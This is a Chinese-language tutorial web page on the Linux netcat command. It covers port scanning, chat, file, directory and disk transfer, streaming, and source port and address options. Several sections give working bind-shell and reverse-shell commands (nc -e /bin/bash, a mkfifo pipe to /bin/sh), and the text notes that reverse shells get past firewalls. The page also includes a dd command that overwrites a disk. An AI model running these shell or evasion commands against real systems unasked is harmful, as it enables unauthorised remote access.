溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

netcat命令怎么在Linux系統(tǒng)中使用

發(fā)布時間:2021-03-12 15:42:06 來源:億速云 閱讀:154 作者:Leah 欄目:系統(tǒng)運維

這期內(nèi)容當(dāng)中小編將會給大家?guī)碛嘘P(guān)netcat命令怎么在Linux系統(tǒng)中使用,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

1,端口掃描

如果未安裝 nmap,試試 nc/netcat 命令,如下所示。-z 參數(shù)用來告訴 nc 報告開放的端口,而不是啟動連接。在 nc 命令中使用 -z 參數(shù)時,你需要在主機名/ip 后面限定端口的范圍和加速其運行:

代碼如下:


### 語法 ###
### nc -z -v {host-name-here} {port-range-here}
nc -z -v host-name-here ssh
nc -z -v host-name-here 22
nc -w 1 -z -v server-name-here port-Number-her
### 掃描 1 to 1023 端口 ###
nc -zv vip-1.vsnl.nixcraft.in 1-1023


輸出示例:

代碼如下:


Connection to localhost 25 port [tcp/smtp] succeeded!
Connection to vip-1.vsnl.nixcraft.in 25 port [tcp/smtp] succeeded!
Connection to vip-1.vsnl.nixcraft.in 80 port [tcp/http] succeeded!
Connection to vip-1.vsnl.nixcraft.in 143 port [tcp/imap] succeeded!
Connection to vip-1.vsnl.nixcraft.in 199 port [tcp/smux] succeeded!
Connection to vip-1.vsnl.nixcraft.in 783 port [tcp/*] succeeded!
Connection to vip-1.vsnl.nixcraft.in 904 port [tcp/vmware-authd] succeeded!
Connection to vip-1.vsnl.nixcraft.in 993 port [tcp/imaps] succeeded!


你也可以掃描單個端口:

代碼如下:


nc -zv v.txvip1 443
nc -zv v.txvip1 80
nc -zv v.txvip1 22
nc -zv v.txvip1 21
nc -zv v.txvip1 smtp
nc -zvn v.txvip1 ftp
### 使用1秒的超時值來更快的掃描 ###
netcat -v -z -n -w 1 v.txvip1 1-1023


輸出示例:
netcat命令怎么在Linux系統(tǒng)中使用

-z : 端口掃描模式即零 I/O 模式。
-v : 顯示詳細信息 [使用 -vv 來輸出更詳細的信息]。
-n : 使用純數(shù)字 IP 地址,即不用 DNS 來解析 IP 地址。
-w 1 : 設(shè)置超時值設(shè)置為1。
更多例子:

代碼如下:


$ netcat -z -vv www.cyberciti.biz http
www.cyberciti.biz [75.126.153.206] 80 (http) open
sent 0, rcvd 0
$ netcat -z -vv google.com https
DNS fwd/rev mismatch: google.com != maa03s16-in-f2.1e100.net
DNS fwd/rev mismatch: google.com != maa03s16-in-f6.1e100.net
DNS fwd/rev mismatch: google.com != maa03s16-in-f5.1e100.net
DNS fwd/rev mismatch: google.com != maa03s16-in-f3.1e100.net
DNS fwd/rev mismatch: google.com != maa03s16-in-f8.1e100.net
DNS fwd/rev mismatch: google.com != maa03s16-in-f0.1e100.net
DNS fwd/rev mismatch: google.com != maa03s16-in-f7.1e100.net
DNS fwd/rev mismatch: google.com != maa03s16-in-f4.1e100.net
google.com [74.125.236.162] 443 (https) open
sent 0, rcvd 0
$ netcat -v -z -n -w 1 192.168.1.254 1-1023
(UNKNOWN) [192.168.1.254] 989 (ftps-data) open
(UNKNOWN) [192.168.1.254] 443 (https) open
(UNKNOWN) [192.168.1.254] 53 (domain) open


2.Chat Server

假如你想和你的朋友聊聊,有很多的軟件和信息服務(wù)可以供你使用。但是,如果你沒有這么奢侈的配置,比如你在計算機實驗室,所有的對外的連接都是被限制的,你怎樣和整天坐在隔壁房間的朋友溝通那?不要郁悶了,netcat提供了這樣一種方法,你只需要創(chuàng)建一個Chat服務(wù)器,一個預(yù)先確定好的端口,這樣子他就可以聯(lián)系到你了。
Server

代碼如下:


$nc -l 1567


netcat 命令在1567端口啟動了一個tcp 服務(wù)器,所有的標準輸出和輸入會輸出到該端口。輸出和輸入都在此shell中展示。
Client

代碼如下:


$nc 172.31.100.7 1567


不管你在機器B上鍵入什么都會出現(xiàn)在機器A上。

3,文件傳輸

假設(shè)兩個服務(wù)器的IP分別是[A(172.31.100.7) B(172.31.100.23)]
大部分時間中,我們都在試圖通過網(wǎng)絡(luò)或者其他工具傳輸文件。有很多種方法,比如FTP,SCP,SMB等等,但是當(dāng)你只是需要臨時或者一次傳輸文件,真的值得浪費時間來安裝配置一個軟件到你的機器上嘛。假設(shè),你想要傳一個文件file.txt 從A 到B。A或者B都可以作為服務(wù)器或者客戶端,以下,讓A作為服務(wù)器,B為客戶端。
Server

代碼如下:


$nc -l 1567 < file.txt


Client

代碼如下:


$nc -n 172.31.100.7 1567 > file.txt


這里我們創(chuàng)建了一個服務(wù)器在A上并且重定向netcat的輸入為文件file.txt,那么當(dāng)任何成功連接到該端口,netcat會發(fā)送file的文件內(nèi)容。
在客戶端我們重定向輸出到file.txt,當(dāng)B連接到A,A發(fā)送文件內(nèi)容,B保存文件內(nèi)容到file.txt.
沒有必要創(chuàng)建文件源作為Server,我們也可以相反的方法使用。像下面的我們發(fā)送文件從B到A,但是服務(wù)器創(chuàng)建在A上,這次我們僅需要重定向netcat的輸出并且重定向B的輸入文件。
B作為Server
Server

代碼如下:


$nc -l 1567 > file.txt


Client

代碼如下:


nc 172.31.100.23 1567 < file.txt

4,目錄傳輸

發(fā)送一個文件很簡單,但是如果我們想要發(fā)送多個文件,或者整個目錄,一樣很簡單,只需要使用壓縮工具tar,壓縮后發(fā)送壓縮包。
如果你想要通過網(wǎng)絡(luò)傳輸一個目錄從A到B。
Server

代碼如下:


$tar -cvf &ndash; dir_name | nc -l 1567


Client

代碼如下:


$nc -n 172.31.100.7 1567 | tar -xvf -


這里在A服務(wù)器上,我們創(chuàng)建一個tar歸檔包并且通過-在控制臺重定向它,然后使用管道,重定向給netcat,netcat可以通過網(wǎng)絡(luò)發(fā)送它。
在客戶端我們下載該壓縮包通過netcat 管道然后打開文件。
如果想要節(jié)省帶寬傳輸壓縮包,我們可以使用bzip2或者其他工具壓縮。
Server

代碼如下:


$tar -cvf &ndash; dir_name| bzip2 -z | nc -l 1567


通過bzip2壓縮
Client

代碼如下:


$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -


使用bzip2解壓

5. 加密你通過網(wǎng)絡(luò)發(fā)送的數(shù)據(jù)

如果你擔(dān)心你在網(wǎng)絡(luò)上發(fā)送數(shù)據(jù)的安全,你可以在發(fā)送你的數(shù)據(jù)之前用如mcrypt的工具加密。
服務(wù)端

代碼如下:


$nc localhost 1567 | mcrypt &ndash;flush &ndash;bare -F -q -d -m ecb > file.txt


使用mcrypt工具加密數(shù)據(jù)。
客戶端

代碼如下:


$mcrypt &ndash;flush &ndash;bare -F -q -m ecb < file.txt | nc -l 1567


使用mcrypt工具解密數(shù)據(jù)。
以上兩個命令會提示需要密碼,確保兩端使用相同的密碼。
這里我們是使用mcrypt用來加密,使用其它任意加密工具都可以。

6. 流視頻

雖然不是生成流視頻的最好方法,但如果服務(wù)器上沒有特定的工具,使用netcat,我們?nèi)匀挥邢M龀蛇@件事。
服務(wù)端

代碼如下:


$cat video.avi | nc -l 1567


這里我們只是從一個視頻文件中讀入并重定向輸出到netcat客戶端

代碼如下:


$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -


這里我們從socket中讀入數(shù)據(jù)并重定向到mplayer。

7,克隆一個設(shè)備

如果你已經(jīng)安裝配置一臺Linux機器并且需要重復(fù)同樣的操作對其他的機器,而你不想在重復(fù)配置一遍。不在需要重復(fù)配置安裝的過程,只啟動另一臺機器的一些引導(dǎo)可以隨身碟和克隆你的機器。
克隆Linux PC很簡單,假如你的系統(tǒng)在磁盤/dev/sda上
Server

代碼如下:


$dd if=/dev/sda | nc -l 1567


Client

代碼如下:


$nc -n 172.31.100.7 1567 | dd of=/dev/sda


dd是一個從磁盤讀取原始數(shù)據(jù)的工具,我通過netcat服務(wù)器重定向它的輸出流到其他機器并且寫入到磁盤中,它會隨著分區(qū)表拷貝所有的信息。但是如果我們已經(jīng)做過分區(qū)并且只需要克隆root分區(qū),我們可以根據(jù)我們系統(tǒng)root分區(qū)的位置,更改sda 為sda1,sda2.等等。

8,打開一個shell

我們已經(jīng)用過遠程shell-使用telnet和ssh,但是如果這兩個命令沒有安裝并且我們沒有權(quán)限安裝他們,我們也可以使用netcat創(chuàng)建遠程shell。
假設(shè)你的netcat支持 -c -e 參數(shù)(默認 netcat)
Server

代碼如下:


$nc -l 1567 -e /bin/bash -i


Client

代碼如下:


$nc 172.31.100.7 1567


這里我們已經(jīng)創(chuàng)建了一個netcat服務(wù)器并且表示當(dāng)它連接成功時執(zhí)行/bin/bash
假如netcat 不支持-c 或者 -e 參數(shù)(openbsd netcat),我們?nèi)匀荒軌騽?chuàng)建遠程shell
Server

代碼如下:


$mkfifo /tmp/tmp_fifo
$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo


這里我們創(chuàng)建了一個fifo文件,然后使用管道命令把這個fifo文件內(nèi)容定向到shell 2>&1中。是用來重定向標準錯誤輸出和標準輸出,然后管道到netcat 運行的端口1567上。至此,我們已經(jīng)把netcat的輸出重定向到fifo文件中。
說明:
從網(wǎng)絡(luò)收到的輸入寫到fifo文件中
cat 命令讀取fifo文件并且其內(nèi)容發(fā)送給sh命令
sh命令進程受到輸入并把它寫回到netcat。
netcat 通過網(wǎng)絡(luò)發(fā)送輸出到client
至于為什么會成功是因為管道使命令平行執(zhí)行,fifo文件用來替代正常文件,因為fifo使讀取等待而如果是一個普通文件,cat命令會盡快結(jié)束并開始讀取空文件。
在客戶端僅僅簡單連接到服務(wù)器
Client

代碼如下:


$nc -n 172.31.100.7 1567


你會得到一個shell提示符在客戶端

9.反向shell

反向shell是指在客戶端打開的shell。反向shell這樣命名是因為不同于其他配置,這里服務(wù)器使用的是由客戶提供的服務(wù)。
服務(wù)端

代碼如下:


$nc -l 1567


在客戶端,簡單地告訴netcat在連接完成后,執(zhí)行shell。
客戶端

代碼如下:


$nc 172.31.100.7 1567 -e /bin/bash


現(xiàn)在,什么是反向shell的特別之處呢
反向shell經(jīng)常被用來繞過防火墻的限制,如阻止入站連接。例如,我有一個專用IP地址為172.31.100.7,我使用代理服務(wù)器連接到外部網(wǎng)絡(luò)。如果我想從網(wǎng)絡(luò)外部訪問 這臺機器如1.2.3.4的shell,那么我會用反向外殼用于這一目的。

10. 指定源端口

假設(shè)你的防火墻過濾除25端口外其它所有端口,你需要使用-p選項指定源端口。
服務(wù)器端

代碼如下:


$nc -l 1567


客戶端

代碼如下:


$nc 172.31.100.7 1567 -p 25


使用1024以內(nèi)的端口需要root權(quán)限。
該命令將在客戶端開啟25端口用于通訊,否則將使用隨機端口。

11. 指定源地址

假設(shè)你的機器有多個地址,希望明確指定使用哪個地址用于外部數(shù)據(jù)通訊。我們可以在netcat中使用-s選項指定ip地址。
服務(wù)器端

代碼如下:


$nc -u -l 1567 < file.txt


客戶端

代碼如下:


$nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt


該命令將綁定地址172.31.100.5。
這僅僅是使用netcat的一些示例。
其它用途有:
    使用-t選項模擬Telnet客戶端,
    HTTP客戶端用于下載文件,
    連接到郵件服務(wù)器,使用SMTP協(xié)議檢查郵件,
    使用ffmpeg截取屏幕并通過流式傳輸分享,等等。其它更多用途。

上述就是小編為大家分享的netcat命令怎么在Linux系統(tǒng)中使用了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關(guān)知識,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI